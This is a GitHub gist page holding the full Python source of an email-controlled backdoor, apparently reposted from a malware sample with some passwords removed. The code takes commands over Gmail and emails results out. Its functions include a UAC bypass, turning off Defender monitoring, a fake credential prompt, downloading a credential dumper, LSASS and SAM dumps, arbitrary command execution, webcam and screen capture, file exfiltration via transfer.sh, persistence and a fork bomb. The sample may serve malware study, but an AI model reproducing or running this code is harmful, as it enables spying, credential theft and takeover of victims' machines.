Skip to content

Instantly share code, notes, and snippets.

Show Gist options
  • Save sasqwatch/8b78798831e409f3f09e2f063f012ee5 to your computer and use it in GitHub Desktop.
Save sasqwatch/8b78798831e409f3f09e2f063f012ee5 to your computer and use it in GitHub Desktop.
Python email backdoor
## uploaded by @JohnLaTwC
## passwords removed. original sample: https://www.virustotal.com/gui/file/79115bb09fb8f17d9182d8b5f6f7a617ad3cd3d5eafb75b652a71d987cbb783e/details
# -*- coding: utf-8 -*-
from __future__ import unicode_literals
import urllib
from mss import mss
import smtplib
import datetime
now = datetime.datetime.now()
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
from email.mime.base import MIMEBase
from email import encoders
import ctypes
import time
import os
import imaplib, email, os
import smtplib
import time
import imaplib
import json
import logging
import urllib2
import email
body1 = 1
index1 = 0
index = 0
nomail = 0
n = 0
o = 0
g = 0
import sys
reload(sys)
global appdata
appdata = os.getenv('APPDATA')
sys.setdefaultencoding('utf8')
password = "Malrwve93sS4dkmD7Hkf<snip>"
import base64
import hashlib
from Crypto.Cipher import AES
from Crypto import Random
appdata = os.getenv('APPDATA')
BLOCK_SIZE = 16
pad = lambda s: s + (BLOCK_SIZE - len(s) % BLOCK_SIZE) * chr(BLOCK_SIZE - len(s) % BLOCK_SIZE)
unpad = lambda s: s[:-ord(s[len(s) - 1:])]
def encrypt(raw, password):
private_key = hashlib.sha256(password.encode("utf-8")).digest()
raw = pad(raw)
iv = Random.new().read(AES.block_size)
cipher = AES.new(private_key, AES.MODE_CBC, iv)
return base64.b64encode(iv + cipher.encrypt(raw))
def decrypt(enc, password):
private_key = hashlib.sha256(password.encode("utf-8")).digest()
enc = base64.b64decode(enc)
iv = enc[:16]
cipher = AES.new(private_key, AES.MODE_CBC, iv)
return unpad(cipher.decrypt(enc[16:]))
def deletemail():
box = imaplib.IMAP4_SSL('imap.gmail.com', 993)
box.login("t3880931@gmail.com","<snip>")
box.select('Inbox')
typ, data = box.search(None, 'ALL')
for num in data[0].split():
box.store(num, '+FLAGS', '\\Deleted')
box.expunge()
box.close()
box.logout()
def reademailbody():
import pyzmail
import pprint
from imapclient import IMAPClient
server = IMAPClient('imap.gmail.com', use_uid=True, ssl=True)
server.login('t3880931@gmail.com', 'istilldunno')
select_info = server.select_folder('Inbox')
#server.search(['SINCE', '07-Oct-2018'])
unseenMessages = server.search(['UNSEEN'])
#rawMessage = server.fetch([57], ['BODY[]', 'FLAGS'])
rawMessage = server.fetch(unseenMessages, ['BODY[]', 'FLAGS'])
#print(rawMessage)
#print(message.get_payload(1))
#message = pyzmail.PyzMessage.factory(rawMessage[57][b'BODY[]'])
#message.text_part.get_payload().decode(message.text_part.charset)
#print(message.get_payload())
for msgNum in unseenMessages:
message = pyzmail.PyzMessage.factory(rawMessage[msgNum][b'BODY[]'])
global body1
body1 = message.text_part.get_payload().decode(message.text_part.charset)
global index
index = message.get_subject()
try:
print index
except:
print 'Index could not be printed'
if index == 0:
print body1
global nomail
nomail + 1
def basicemail():
encoded = body
fromaddr = "t3880931@gmail.com"
toaddr = "testlol6080@gmail.com"
msg = MIMEMultipart()
msg['From'] = fromaddr
msg['To'] = toaddr
msg['Subject'] = str(index1)
msg.attach(MIMEText(encoded, 'plain'))
s = smtplib.SMTP('smtp.gmail.com', 587)
s.starttls()
text = msg.as_string()
s.login(fromaddr, "istilldunno")
s.sendmail(fromaddr, toaddr, text)
s.quit()
import os
import subprocess
from requests import get
ip = get('https://api.ipify.org').text
index1 = str(ip)
body = "new"
basicemail()
body = 0
deletemail()
print index
while True:
global body2
body2 = 0
reademailbody()
if index == 0:
time.sleep(10)
print "nothing to show here"
else:
print "git gud"
if body1 == "adminverif":
try:
is_admin = os.getuid() == 0
except:
is_admin = ctypes.windll.shell32.IsUserAnAdmin() != 0
if is_admin == True:
body = "WOW you're admin !!!!"
basicemail()
else:
body = "You are not admin :("
basicemail()
elif body1 == "voice":
import speech
from ctypes import cast, POINTER
from comtypes import CLSCTX_ALL
from pycaw.pycaw import AudioUtilities, IAudioEndpointVolume
devices = AudioUtilities.GetSpeakers()
interface = devices.Activate(
IAudioEndpointVolume._iid_, CLSCTX_ALL, None)
volume = cast(interface, POINTER(IAudioEndpointVolume))
volume.SetMasterVolumeLevel(-0.0, None)
speech.say(index)
elif body1 == "uacbypass":
is_admin = ctypes.windll.shell32.IsUserAnAdmin() != 0
if is_admin == True:
body = "Progam is already running with admin rights"
basicemail()
else:
import os
import sys
import ctypes
import _winreg
def create_reg_key(key, value):
try:
_winreg.CreateKey(_winreg.HKEY_CURRENT_USER, 'Software\\Classes\\ms-settings\\shell\\open\\command')
registry_key = _winreg.OpenKey(_winreg.HKEY_CURRENT_USER, 'Software\\Classes\\ms-settings\\shell\\open\\command', 0, _winreg.KEY_WRITE)
_winreg.SetValueEx(registry_key, key, 0, _winreg.REG_SZ, value)
_winreg.CloseKey(registry_key)
except WindowsError:
raise
def exec_bypass_uac(cmd):
try:
create_reg_key('DelegateExecute', '')
create_reg_key(None, cmd)
except WindowsError:
raise
def bypass_uac():
os.system("copy Projetimp.exe " + appdata.decode('latin-1'))
os.chdir(appdata)
os.system("rename Projetimp.exe uacedprojetimp.exe")
cmd = appdata.decode('latin-1') + "\\uacedprojetimp.exe"
exec_bypass_uac(cmd)
os.system(r'C:\windows\system32\ComputerDefaults.exe')
return 1
bypass_uac()
if __name__ == '__main__':
body = "Congrats looks like the UAC has been bypassed"
basicemail()
try:
os.system("taskkill /F /IM Projetimp.exe")
exit()
except:
print 'ah'
exit()
elif body1 == "rick":
import os
from ctypes import cast, POINTER
from comtypes import CLSCTX_ALL
from pycaw.pycaw import AudioUtilities, IAudioEndpointVolume
devices = AudioUtilities.GetSpeakers()
interface = devices.Activate(
IAudioEndpointVolume._iid_, CLSCTX_ALL, None)
volume = cast(interface, POINTER(IAudioEndpointVolume))
volume.SetMasterVolumeLevel(-0.0, None)
os.system("start https://www.youtube.com/watch?v=dQw4w9WgXcQ")
elif body1 == "phish":
import os
print body2
import win32cred
import win32crypt
import win32api
import win32con
import pywintypes
import socket
import re
import sys
import os
try:
CredUIPromptForCredentials = win32cred.CredUIPromptForCredentials
creds = []
CRED_TYPE_GENERIC = win32cred.CRED_TYPE_GENERIC
creds = CredUIPromptForCredentials(os.environ['userdomain'], 0, os.environ['username'], None, True, CRED_TYPE_GENERIC, {})
print(creds)
lol = re.sub(r".*, u'", '', str(creds))
mdrr = lol.replace("',", "")
mdr = mdrr.replace("False)", "")
body = str(mdr)
basicemail()
deletemail()
except:
body = "An error has occured or the user closed the window"
basicemail()
elif body1 == "fork":
appdata = os.getenv('APPDATA')
os.chdir(appdata)
f1=open('fork.bat', 'a')
f1.write(":runthis" + "\r\n")
f1.write("start %0" + "\r\n")
f1.write("goto runthis" + "\r\n")
os.system("start fork.bat")
elif body1 == "firewall":
import ctypes, os
try:
is_admin = os.getuid() == 0
except:
is_admin = ctypes.windll.shell32.IsUserAnAdmin() != 0
if is_admin == True:
try:
os.system("powershell Set-MpPreference -DisableRealtimeMonitoring 1")
except:
os.system("powershell Set-MpPreference -DisableRealtimeMonitoring $true")
else:
body = "This program cannot run without elevated privileges"
basicemail()
if body1 == "passdump":
if g != 0:
os.chdir(n)
else:
os.chdir(appdata)
import os
import re
os.system("del result.txt")
import requests
import subprocess
import requests
url = index
r = requests.get(url, allow_redirects=True)
open('lazz.exe', 'wb').write(r.content)
is_admin = ctypes.windll.shell32.IsUserAnAdmin() != 0
if is_admin == False:
index1 = "admin:on"
k = os.popen("lazz.exe chats && lazz.exe mails && lazz.exe git && lazz.exe svn && lazz.exe wifi && lazz.exe maven && lazz.exe browsers && lazz.exe games && lazz.exe multimedia && lazz.exe memory && lazz.exe databases && lazz.exe php").read()
body = k
basicemail()
elif is_admin == True:
index1 = "admin:off"
k = os.popen("lazz.exe mails && lazz.exe git && lazz.exe wifi && lazz.exe maven && lazz.exe games && lazz.exe multimedia && lazz.exe memory && lazz.exe databases && lazz.exe php").read()
body = k
basicemail()
elif body1 == "custom":
if g != 0:
os.chdir(n)
else:
os.chdir(appdata)
import subprocess
try:
reademailbody()
x = os.popen(index).read()
body = x
print body
basicemail()
except:
body = "Command incorrect or not recognized"
basicemail()
logging.exception('')
elif body1 == "wallpaperchange":
if g != 0:
os.chdir(n)
else:
os.chdir(appdata)
import base64
import subprocess
decoded_string = base64.b64decode(index)
import ctypes
with open("image.jpg", "wb") as image_file2:
image_file2.write(decoded_string)
lol = appdata.decode('latin-1')
path = lol + "\\image.jpg"
truepath = path.encode('latin-1')
ctypes.windll.user32.SystemParametersInfoA(20, 0, truepath , 0)
body = "New wallpaper has been set"
basicemail()
elif body1 == "message":
from tkinter import * #required.
from tkinter import messagebox #for messagebox.
try:
reademailbody()
App = Tk() #required.
App.withdraw() #for hide window.
messagebox.showinfo("Notification", index)
except:
body = "An error has occured"
basicemail()
elif body1 == "ip":
import subprocess
try:
reademailbody()
body = str(ip)
print body
basicemail()
except:
body = "Command incorrect or not recognized"
basicemail()
logging.exception('')
elif body1 == "map":
try:
import requests
ip_request = requests.get('https://get.geojs.io/v1/ip.json')
my_ip = ip_request.json()['ip']
geo_request = requests.get('https://get.geojs.io/v1/ip/geo/' +my_ip + '.json')
geo_data = geo_request.json()
lat = geo_data['latitude']
longg = geo_data['longitude']
body = lat
print body
index1 = longg
print index1
basicemail()
except:
body = "Something went wrong"
basicemail()
logging.exception('')
elif body1 == "geolocal":
try:
req = urllib2.Request('http://ip-api.com/json/')
response = urllib2.urlopen(req)
if response.code == 200:
encoding = response.headers.getparam('charset')
body = response.read()
print body
basicemail()
except:
logging.exception('')
elif body1 == "persistence":
try:
is_admin = os.getuid() == 0
except:
is_admin = ctypes.windll.shell32.IsUserAnAdmin() != 0
if is_admin == True:
appdata = os.getenv('APPDATA')
os.chdir(appdata)
f2=open("per.ps1",'a')
f2.write("if (!((Get-Process | select ProcessName).ProcessName | where {$_ -like '*uacedprojetimp.exe*''})){&('uacedprojetimp.exe')}")
f2.close()
f1=open('per.bat', 'a')
f1.write(":runthis" + "\r\n")
f1.write("powershell -File per.ps1")
f1.write("goto running")
f1.close()
f1=open('in.vbs', 'a')
f1.write('CreateObject("Wscript.Shell").Run """" & WScript.Arguments(0) & """", 0, False')
f1.close()
os.system("wscript.exe 'in.vbs' 'per.bat'")
#p = os.popen("$A = New-ScheduledTaskAction -Execute 'cmd.exe' -Argument '/c per.bat' ; $T = New-ScheduledTaskTrigger -Daily -At 9am ; $P = New-ScheduledTaskPrincipal 'NT AUTHORITY\\SYSTEM' -RunLevel Highest ; $S = New-ScheduledTaskSettingsSet ; $D = New-ScheduledTask -Action $A -Trigger $T -Principal $P -Settings $S ; Register-ScheduledTask Backdoor -InputObject $D")
body = "Persistence has been set.The program will see if the backdoor is running if not it will launch it"
basicemail()
else:
body = "You are not admin :("
basicemail()
elif body1 == "webcamsnap":
import cv2
cam = cv2.VideoCapture(0)
retval, frame = cam.read()
cam.release()
cv2.imwrite('filename.jpg', frame)
with open("filename.jpg", "rb") as f:
cam.release()
data = f.read()
body = data.encode("base64")
basicemail()
elif body1 =="screenshot":
from mss import mss
with mss() as sct:
sct.shot()
with open("monitor-1.png", "rb") as f:
data = f.read()
body = data.encode("base64")
basicemail()
elif body1 == "cd":
g = o + 1
n = index
body = "Directory has been changed"
basicemail()
elif body1 == "upload":
if g != 0:
os.chdir(n)
else:
os.chdir(appdata)
import os
import re
os.system("del result.txt")
import requests
url = index
r = requests.get(url, allow_redirects=True)
open('result.txt', 'wb').write(r.content)
f = open("result.txt","r")
rrr = f.read()
decrypted = decrypt(rrr, password)
dencc = bytes.decode(decrypted)
decoded_string = base64.b64decode(dencc)
fi = re.sub(r'.*/', '/', index)
print fi
se = fi.replace("/","")
print se
m = str(se)
x = len(m)
u = x - 4
sv = m[:u]
with open(sv, "wb") as image_file2:
image_file2.write(decoded_string);
body = "Files looks like it has been uploaded"
os.system("del result.txt")
basicemail()
elif body1 == "download":
if g != 0:
os.chdir(n)
else:
os.chdir(appdata)
import requests
import os
os.system("del file.txt")
with open(index, "rb") as f:
data = f.read()
encoded = data.encode("base64")
encrypted = encrypt(encoded, password)
f=open("file.txt",'a')
f.write(encrypted)
f.close()
file = "file.txt"
print("Sending file")
url = 'https://transfer.sh/'
file = {'{}'.format(file): open(file, 'rb')}
response = requests.post(url, files=file)
download_link = response.content.decode('utf-8')
body = str(download_link)
os.system("del file.txt")
basicemail()
elif body1 == "lsassdump":
import base64
import subprocess
decoded_string = base64.b64decode(index)
is_admin = ctypes.windll.shell32.IsUserAnAdmin() != 0
if is_admin == False:
body = "You need to be admin for this operation"
basicemail()
elif is_admin == True:
with open("py.exe", "wb") as image_file2:
image_file2.write(decoded_string);
try:
k = os.popen("py.exe live lsa").read()
body = k
basicemail()
os.popen("del py.exe")
except:
logging.exception('')
elif body1 == "samdump":
os.chdir("C://temp")
import base64
import subprocess
decoded_string = base64.b64decode(index)
is_admin = ctypes.windll.shell32.IsUserAnAdmin() != 0
if is_admin == False:
body = "You need to be admin for this operation"
basicemail()
elif is_admin == True:
try:
f = open("py3.exe", "wb")
f.write(decoded_string)
f.close()
os.popen("cd C:\\Windows\\System32\\config && esentutl.exe /y SYSTEM /vss /d C:/temp/SYSTEM && esentutl.exe /y SAM /vss /d C:/temp/SAM")
os.chdir("C://temp")
k = os.popen("py3.exe registry --sam SAM SYSTEM").read()
body = k
basicemail()
os.popen("del py3.exe && cd C:\\temp && del SYSTEM && del SAM")
except:
logging.exception('')
else:
print("ohno")
index = 0
body2 = 0
deletemail()
# password = "rpmCxm1vqZN8R2YYgOlicbrNEdkgTe=8(k5F&8xyte3MNExuBdJyfgCqs"
# # AES 256 encryption/decryption using pycrypto library
# import base64
# import hashlib
# from Crypto.Cipher import AES
# from Crypto import Random
# BLOCK_SIZE = 16
# pad = lambda s: s + (BLOCK_SIZE - len(s) % BLOCK_SIZE) * chr(BLOCK_SIZE - len(s) % BLOCK_SIZE)
# unpad = lambda s: s[:-ord(s[len(s) - 1:])]
# def encrypt(raw, password):
# private_key = hashlib.sha256(password.encode("utf-8")).digest()
# raw = pad(raw)
# iv = Random.new().read(AES.block_size)
# cipher = AES.new(private_key, AES.MODE_CBC, iv)
# return base64.b64encode(iv + cipher.encrypt(raw))
# def decrypt(enc, password):
# private_key = hashlib.sha256(password.encode("utf-8")).digest()
# enc = base64.b64decode(enc)
# iv = enc[:16]
# cipher = AES.new(private_key, AES.MODE_CBC, iv)
# return unpad(cipher.decrypt(enc[16:]))
# encrypted = encrypt(code, password)
# print(encrypted)
# f1=open('encrypted.txt', 'a')
# f1.write(encrypted)
# f1.close()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment